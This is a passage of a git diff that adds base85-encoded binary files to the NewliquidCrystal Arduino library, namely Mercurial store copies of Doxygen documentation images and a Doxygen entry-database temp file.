z`hLUQIj)F}s{2DgB_{85VlKh)y8IiM-_M2%kv%AIm zV5Tb~X8wVB$^}hTxi!I46Qj>am0NfiyQE&EZ=aZMGNp{RWuvl#%Lj7~-A_i8P!evvhy$iD2Z~(sIg$dZmEq=($g^X-i2t zobKOFtG_YCR2nr}TPMt1Z_m26pUu4a1kx;$mcF}4Zs_0UVIbvVVEM9~;>LrdIp25f zYFk2dcD%h0@AT5YO?&%oBAroB&E#Sv9$i7a59D=%vBfqa`j^3vyg4Cs_vZRKIrwvL zCrJ^7Aabj`(R=!ZiAD*-2w~ zpLDmCHpet*RG9CKslD1KgWsm`GHCYC7tm9}OrxT?8NQ}>AxAFKEw%MW*ms6se#B4M znN|9OEZV9QZvqF>vDEr!&MnhZ_5A$g+Ew605!|A)ae0B}-U&@=M2XYb1vV5%NjUq} z(|wx~rCFPVTdtppUZ%gizCkHsKa))NT4FiZ1$JMO^;_kB{++U|YT=IDb~S$a!}hX! zYu_-XSAI(~wbMz8?+=YzJSur%i4H}_v3Nm8KeAOD@9)Q5bCzc7oCRG8k7VR-3ow z&-wm<0djqOoSS=|>c04w4}0VkBOGhW5~bH8+=|^ERtF}PacMvo_ zd-q@Q!`osoKkP6Vx<3yQjYih$qDArqk)+np5F}JFB0{V#nK`e63?R%VJarbt(03lH z`7f{=e=NW=Fx6D{EwwhnER!uv>>1M|Q*9EvN9W#umvgXWYYax${tuWw8d>=dm>7~2 z2yLey2&D{3$C1LmV1<#D4@8ia6d;mEN(!yXS3+$lG@hqEG6Tm z^Tc=nK;Qo_gw!7mI^#l|&S#byJEV%Q5g-y1M#u?=a(|~_|9JinE+kO06?szm0R>R< z{nrpk`W^&g%n<_QF3iIypU8)Tlpt*P0T37%+_g(diJF#I;~>YuG+UnI-Y12I%Fw4v zkzQoh{E{I>E&wQ@6@8e@v9$}NqQ!m`b_`)edQ@(bEs9c8Q-k9>baYMPGZQlnsp)v2 z{Gy0jnR*SdimBh-A(9%IWPec=hRj>pu_r zpS9Uz0L865@oYTuYLU^Qp`G~9&~YFmtgD8O8HyZ6qE|Zbd#1Z?-bHoo zU~yzhS2u)_1)#bq{QWG533eXp1^^hoJl_ETDStHC8Jewik*0jZ@|@a4m`z0maWHR@ zA^ES*x%xk7sk&(785#tDk)%&u1gJ}ygTX8J=_uP3E>c1Pw3JlS6r???5%K_9016u7 zhokt@SYAEe(4elC77U=5_xXdOH=SFBpv4s4mE__}?IeP{;)0@dJ*yxdI22T>>Byk?fpEW=xoqPXX{=ZLT8=5Xwm*$vP*xuRF zVl&v%@)dA_*>;)&%)>*CCh5dfl7a7nNl1)nk!VR~X82l$E;WV=ct_x$3sM`BlKmeD C$u8*t literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__l.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__l.png.i new file mode 100644 index 0000000000000000000000000000000000000000..ed243a994ff2aebb6050f16b8b901d12469e63ce GIT binary patch literal 669 zcmZQzWME_f1EyF82BsJYn?d3~6x=TRRJ#3;T!wX{%(eq6;g{mYo%x_@z*K2xfS)@r zmlPL}$Ls0g5(K10fLNG=4MJA7*1_rU@&%JV2~+mG1J=1z`*#()5S5Q;?|lF+ts%MB@+QDVTz~E^(OVZ6>fN;#@mg5FtYokA|CYb3O}Cad%iihgSm4rpOk=IQ z=RLjNiv0B^8S~%nDUh4j|6Rt-#lm&{_2g~2&vS3*?OOLcZ}ZJNIoofuJeTP){KKuI z^rme0na_L9WSCUF-Sw_L$E8CDMbK90>28gKIB`&|5`1$9blNC1mu9p6-TpA>} zEK_N!m*Zs<4#fi!-L4u830tFGNGrSv=pt zX2a3swlJWgWbG#9g;PFds!e_vnD+hqrSE^)_2Rue06oHz{Txft7KaeIh1zI3kaODzVGp$J8#Q=$Uo?Gd33yJ z=bv{Ld^Pv&qxRn~%Q@t>_@g#Q)9r@^FMtkXab!^1wL|7#I_tiQdEYAyBzn>}OS-Dg z4fb@gkm0k?{d_K;IYG1K$BW8&x8HxiKizBT@r%JBp`t;j_KR>U%JsC*m5W+CjUhmN wk@>1sX1s?r)Fyi_%$#+|vVZEq_lyjtPp`&Zc+2w_m@*hVUHx3vIVCg!0J(S?YXATM literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__m.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__m.png.i new file mode 100644 index 0000000000000000000000000000000000000000..9cbf40ed3997695b6651636ef1569892c3451a34 GIT binary patch literal 222 zcmZQzWME`~fO$X)gh4>!KNOthy>fZ!(%6^0+T71JwY`cu>(Iv!Q34?==Dg z4BYwn`v3pmgeOgsn6a3tgk_2Hr+4p?VhfHC7#>(KFf?6dV5nkeU^umffx*~?fkCFM#Y}520|VnLPZ!6Kid##r>|Z72D8lw3 z|J(dcT-i&*x|dA4l3ByNG15~o=>8t(Gulghrl)f(5!4BaaZ*X>GSPGja8z6{{c7mu z-S0M?dw0fjqQ)WKXRDUaJ=|YB<7Zo`mF%HTAt#leHFZ%sV)oO#md0(3`WvJ-{jb|% z#lGJ+5)3RjQzP3{JOx-9KiK4NzL`@OF|9Ou_0@YOv(Lt}pZNZF@`Nd$8d?)Oo)&pN z{uptr@Xx_*Z=d%)ZecjEWQw|?QqvTnAg?8vT^d~*B6JL7_*!4@dY`@ZmhbATT_(qF zXtMVhYIHFvHLZJXz{9*VhOaGgMbN3`pMU;I-+#Y;>4V0j63odwvz9Fk&{z<(azWhs zY=*cs*I&EyxAi%Oh9=HZ)0)bab9-BpLPeR`mgCt?WK7t>{vnTZmoyTh!H{qrj;7j|*Q%Ii4^6?ghix7E;!Q8+ZEt>F zX&V|^dx2GTsmeJ^U$x1u+i%x8xdiA%dU7;=t(xnz{BpTdM?S-XxBQ!Rte?D$|Ec_I za_%|Hu+>u~_}b?KopLvC`{nAF>Wiv51QmUQ3(g51-&hiReg4@r+jBp?j~BkvedkxW-V2o$oA6O!P4ZCMYDg`u3e~nJ zWRe?_HrSbMp!xT+NuV%^38X#c=K7p#-*fEiUEDqmCcmEVP@)$ZdValm7!DA2DE-kI zPs#B6*_v4 zNg^HLpyt_?z)OHdfu~cQLEzEyTk{s68M3t<_`OV5J{}0Jfoo?{%R0^X+LTnJgWS9_}u~ZexG}rss zH@0GB79%CY9pg=5bMA7*5b36$nl}?sfx?U_<>T?oGn<2LIZ9V3jcjJfBly^+cDS)- zdTGvNF%N=8DWBt@3J4({HR!)NFQAs0##P;EoQi2Do~7CpM~BEeu4Q4<$YUG$P{X2u zk>Kx8L}JZ-EI}_NM`dqiWkp78Rfm<)`)lK}Lgx}}%~Rpa{3PtB4#i?7vaL6S&}qz+ zo~BbV?Ipz8{e?AHr{7_{-mKZ5g>mF|+Kt&&%))M`+w1mQUE?&9b8{i^G-uLmfdi|J zQO2WeBZA5q-`g`3=4u7^W~1Q~NsOmv*=kscezNuw=Bd&kPc*$ zuX!X;6>nMpoCbk+;W)KOgv*8Lk(h?>GO*!IF^uZFXM9OELx@DF$}?8@mO|NsC0|NsA{!CGRu6P)L)-9ONS zQ>2_bz8YTu00000000000001ZoVAv3Z`v>r#^3WPT<;B)mOqXI32Wd*X{RC4u4<{a zy+Vh5fwUoEiGlL%XG7Y;v{pn~B_z!Go^$T`SvjJUi|_r>ubWFUQ}dME+@B8zeL^kA z`N8{+b1}LgKfjHxhJ@KJ85NL~iAwSeQpdTxri9LvT6}Sw^?Gfuxt$kNXLRd4nOe+< ztEHv(l(tlo_8O7d=|wXH*^5-7QtU;}?z<7qQ2{ZvE&RPqR$bc9GliM5Mw^E_xWpf$wt$yb}ceBnU&<3fe68HE<}V z`d-lS0t$Ts?Trr&iX7N_Q7$0cJ6h!WruByX3r$z=7#A!1Yf*@onK1YMNDQnF238LP ztAT;l#Spt4J^>zw$XwR;+QGzkL3q3cZmd7=V0d=uV>!%oiAOT<>M-!?G4N_I@ML*g%kr)Hv9G(%uRw{Jfpwje zYW=KwcP93t6U%DITrB6hH(NJ)nW9;qZw9jYGR#ix?I^aZYuBY&o*_MZTlo4!Z%J2B z96}^rlHr=%?Z=w*AcdZuH4ee=vYR??SqJmHGThAb?RYnTS{i=<238oL000000`UL< z0005e000W8000000000S00000|NsC0@M9yY(z;pbjBx!z|BpyS2SU;;0000000000 z00000c$}5g$%+&)7zgl(+M|Plk5H5s1?kRKl@xUMMLh`OVdepfFPmLh8@2S%XFYkE zhndIoV5++j3x;6=2_ea!EI&dJdUA(OwOgBFAL$bMeiL6`UD89-C z?PWC2eXfV@Fbzj*IEKFrw!(4L)IaROG&l7o?(8sjb<|tv^zO87zx)RKcXn^<;RAku zPPd(%)_iPyY#){Vchc)arJ6F1cAa&bc)461XYw-FxmoUps(cGlDw0~jHqpWm4N4~% z3&W+-%24I6H9+^>4x2b{q4PV$+k9eKuiz-qw^0ALp>A3mZ@+&0v|dd!likYWZ7awe%HkJ7 z7r#BqVur#)Ph($0ssI1|25J*Df9&ES)GOcC4UzA z`}^r}>PsbnwT7A;d_PzaE_lUjzjeL1!88q{XqUuky}^>!VHq~%I(dl7B-y3$b_>j* vc_Wtt*Jw@-Q1G8d0B2-tr}CZKoE?8*S3uZStd468D2RunM7({tOXj+;OXk;vd$@?2>_tYNQD3Z literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__b.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__b.png.i new file mode 100644 index 0000000000000000000000000000000000000000..36167c441dd18b41244144a99e3efa429faf13d0 GIT binary patch literal 243 zcmZQzWME`~fXzT^6O=9S9}3j`WJF?~n!Od{S|D{qs%qyH(})vLHDIc=Gr-TCmrIHZ z$m8|&a0vp^AOlr6n1JMQvE$J|s?yWNF{Fa=?cLkFhZH0lF51@whh6U2lH{Zuux_u# z=1%{8Rwrk=*xi@Utq%U}`Br_W+>*ZJ&8} zi@XV%5&Q5V*Rz=y%nG-6&W@FQKDDr`=klqmE_!MPFAglQZRYcGnbPrx(bhrhrIyU| R>p({^c)I$ztaD0e0sv`SSakpZ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__h.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__h.png.i new file mode 100644 index 0000000000000000000000000000000000000000..94d3c5c9db05b71bb356546ed4902e05afef3549 GIT binary patch literal 257 zcmZQzWME`~fP+Bl0F*899}4d2U0J2>>F?;JoH|*E;RDYF{Fa=?cLj)O$ibW5BvWw-PPgNwTQVXV^*Zx zC7%ChjQWMm9Fn(ql%M_hM)Cdm>E4DDUd45Ctd#R8@t^elNTvIXtuEL56tXRs^$H2{ zJ(sf2{P0N1yy{_#Xjwqw{CP9}JwE@ztEcwlG0hvh%ENXyeO;H3m^tlQ@6x3+XGe8* g%<2i){PG7ogR|0u7Xh{nKqoPHy85}Sb4q9e06EcPasU7T literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__s.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__s.png.i new file mode 100644 index 0000000000000000000000000000000000000000..b29c2a26fac6ceac4fb4062b83e9d2cb156dd088 GIT binary patch literal 254 zcmZQzWME`~fPFw}FO)6u9|}%xa5y}t<#$vHA79svH66!g6_VaS)qtte&Hz7mUM?vv zAdlD6!zBnvgA7#RU;>iI#g0bUhbgfyay3BK- zxu|^Rt(@EoO1zi*rJme&-g8g>)9uMIdMQu+qs}Zj>QpqhQ@?+Ir^ft_bIOTkkLI&A zed(LcV^P>I`~AjozSkEL-E@C%aOIaO+3)yS%4B`o^J_VCyLw|cZhPXz(U|2W;=D*o cwM%io%~9n)%mBzGdS}f2f7%GD2254V*&B2_ zugO4S-*e4bI^DB4GzF$duAlbCcA68n$+c-yj4mE6k6#$totLv)l9B8GOY0~7Cg*0U zcKlKY_QiX3lr#3C1c4IRD6CK0bld zX}6uoZ4bp(KIt+O<40TGnH|*R&{=l)6ZZmLiNcScve(bw?6$j0HcVBR!=XDO*=dG` z{{I$J)8p(czx1r+4&0P%^h#2ZBE?=f>KUiqQn z(V3UQo38GiXEkT7%GDyG;VXszeEk2>o^`%SrRNL)4PnGa literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.d b/libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.d new file mode 100644 index 0000000000000000000000000000000000000000..a3ac6db5212dca7bca87dbc2ac940f787a722172 GIT binary patch literal 1573908 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 